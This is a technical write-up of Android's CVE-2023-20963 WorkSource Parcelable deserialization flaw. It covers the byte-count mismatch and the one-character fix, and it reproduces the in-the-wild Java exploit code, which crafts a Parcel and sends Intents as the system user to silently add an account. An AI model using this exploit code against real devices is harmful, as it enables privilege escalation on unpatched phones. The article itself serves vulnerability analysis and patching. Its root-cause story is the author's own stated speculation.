Preface
-
In versions prior to the Android security patch level of March 1, 2023, the android.os.WorkSource type has a Parcelable deserialization vulnerability. An attacker who successfully exploits this vulnerability can send arbitrary Intents as the system user. Regarding this vulnerability, Google stated in its security bulletin:
There are indications that CVE-2023-20963 may be under limited, targeted exploitation.
-
Google’s description seems understated, but in reality, the exploit code for this vulnerability has been built into an e-commerce app in China with over 300 million monthly active users. Additionally, the earliest exploitation time is difficult to trace, but it has been at least half a year. It can be said to be a large-scale vulnerability exploitation incident in the Android and even cybersecurity industries.
-
Today, we are not discussing this in-the-wild exploitation incident, but focusing on the vulnerability itself.
Vulnerability Analysis
- The WorkSource type exists in the Android SDK, but its specific functional characteristics are not important; the main focus is on its deserialization implementation. The official documentation for WorkSource can be found at: https://developer.android.com/reference/android/os/WorkSource
@UnsupportedAppUsage WorkSource(Parcel in) { this.mNum = in.readInt(); this.mUids = in.createIntArray(); this.mNames = in.createStringArray(); int numChains = in.readInt(); // numChains = 1 if (numChains > 0) { this.mChains = new ArrayList<>(numChains); // create length = 1 array list in.readParcelableList(this.mChains, WorkChain.class.getClassLoader()); // read empty Parcelable list return; } this.mChains = null; } @Override // android.os.Parcelable public void writeToParcel(Parcel dest, int flags) { dest.writeInt(this.mNum); dest.writeIntArray(this.mUids); dest.writeStringArray(this.mNames); ArrayList<WorkChain> arrayList = this.mChains; if (arrayList == null) { dest.writeInt(-1); return; } dest.writeInt(arrayList.size()); // write size is 0 dest.writeParcelableList(this.mChains, flags); // write int 0 }
- Issues with size handling are common in Parcelable deserialization vulnerabilities, and this one is no exception. During the first read, the attacker makes numChains read an integer of 1, then enters the branch where readParcelableList is called, which directly uses -1 to represent null. This creates an ArrayList with a length of 1 for mChains when new ArrayList is called, but no members are added. Here, 2 integers (8 bytes) are read.
- During writing, arrayList.size() is written, which writes 0. Moreover, writeParcelableList itself also writes a length of 0 for the ArrayList. However, since there are no contents in this.mChains, no further writing occurs.
Extended knowledge: If writeParcelableList writes null, it directly writes -1. If it writes an ArrayList with a size of 0, it writes its length 0. If the size is not 0, it writes the actual size followed by the real contents. For details, refer to the source code of Parcel.
- During the second read, numChains is 0, so the branch is not entered, and readParcelableList is not called. Only 1 integer (4 bytes) is read. Compared to the initial 8 bytes read, this is exactly 4 bytes less, resulting in a mismatch, which is where the vulnerability lies.
Root Cause Analysis
- This vulnerability has been hidden in Google’s code for a long time. Without checking historical versions carefully, it should have existed since the Android 10 era. So why did Google’s highly skilled programmers make this mistake? Here are my personal speculations, which only represent my own views.
- We can see that the main cause of the vulnerability is the inconsistency between the numChains value and the actual size of mChains. My speculation is that the Google programmer had more experience in JavaScript development. Because the Array object in JS is in the form of an array; if new Array is passed 1, there will be at least one member with a value of 0, and its length will also be 1. This can be verified:
var array = new Array(1) console.log(array.length); // 1
- However, this is not the case with ArrayList in Java. Looking at the definition of the ArrayList constructor, we can see that the passed integer parameter actually refers to the initial capacity, which defaults to 10 and dynamically expands as members are added.
public ArrayList(int initialCapacity)
- It is reasonable to speculate that due to their JS experience, the Google programmer subconsciously thought that calling new ArrayList with 1 would result in a size of 1, and that writeParcelableList would write 8 bytes. However, contrary to expectations, the parameter of new ArrayList refers to the initial capacity. Even if 1 is passed, if no members are added, the size remains 0, leading to the vulnerability.
Vulnerability Exploitation
- The exploitation of this vulnerability is relatively conventional. Here is the disclosed in-the-wild exploit code:
Bundle bundle = new Bundle(); Parcel obtain = Parcel.obtain(); Parcel obtain2 = Parcel.obtain(); Parcel obtain3 = Parcel.obtain(); obtain2.writeInt(3); obtain2.writeInt(13); obtain2.writeInt(2); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(6); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(4); obtain2.writeString("android.os.WorkSource"); obtain2.writeInt(-1); obtain2.writeInt(-1); obtain2.writeInt(-1); obtain2.writeInt(1); obtain2.writeInt(-1); obtain2.writeInt(13); obtain2.writeInt(13); obtain2.writeInt(68); obtain2.writeInt(11); obtain2.writeInt(0); obtain2.writeInt(7); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(1); obtain2.writeInt(1); obtain2.writeInt(13); obtain2.writeInt(22); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(13); obtain2.writeInt(-1); int dataPosition = obtain2.dataPosition(); obtain2.writeString("intent"); obtain2.writeInt(4); obtain2.writeString("android.content.Intent"); intent.writeToParcel(obtain3, 0); obtain2.appendFrom(obtain3, 0, obtain3.dataSize()); int dataPosition2 = obtain2.dataPosition(); obtain2.setDataPosition(dataPosition - 4); obtain2.writeInt(dataPosition2 - dataPosition); obtain2.setDataPosition(dataPosition2); int dataSize = obtain2.dataSize(); obtain.writeInt(dataSize); obtain.writeInt(1279544898); obtain.appendFrom(obtain2, 0, dataSize); obtain.setDataPosition(0); bundle.readFromParcel(obtain);
- Subsequently, silent account addition technology can be used to attack AccountManagerService for exploitation. For details, please refer to my previous articles.
Intent intent = new Intent(); intent.setComponent(new ComponentName("android", "android.accounts.ChooseTypeAndAccountActivity")); ArrayList<Account> allowableAccounts = new ArrayList<>(); allowableAccounts.add(new Account("pxx", MY_ACCOUNT_TYPE)); intent.putExtra("allowableAccounts", allowableAccounts); intent.putExtra("allowableAccountTypes", new String[] { MY_ACCOUNT_TYPE }); Bundle options = new Bundle(); options.putBoolean("alivePullStartUp", true); intent.putExtra("addAccountOptions", options); intent.putExtra("descriptionTextOverride", " "); intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY | Intent.FLAG_ACTIVITY_CLEAR_TASK); startActivity(intent);
- After obtaining the ability to send arbitrary Intents as the system uid, further exploitation can be carried out in conjunction with other Intent redirection vulnerabilities or the system FileProvider. For details, refer to online exploit code analysis articles.
Fix
- Changing the judgment of numChains from >0 to >=0 can solve the problem, ensuring that the second read also enters the if branch, consistent with the first read.
- if (numChains > 0) {
+ if (numChains >= 0) {
- It is recommended that all Android users update their patches in a timely manner. Devices with a security patch level of March 1, 2023, or later are safe. Patch link: https://android.googlesource.com/platform/frameworks/base/+/266b3bddcf14d448c0972db64b42950f76c759e3
Summary
- It can be said that many vulnerabilities arise from assumptions; when programmers have misunderstandings about the code, it easily lays the groundwork for logical flaws. CVE-2023-20963 is a painful lesson—just one missing equal sign by a Google programmer led to numerous users in the live environment being exploited by attackers, causing an incalculable amount of damage.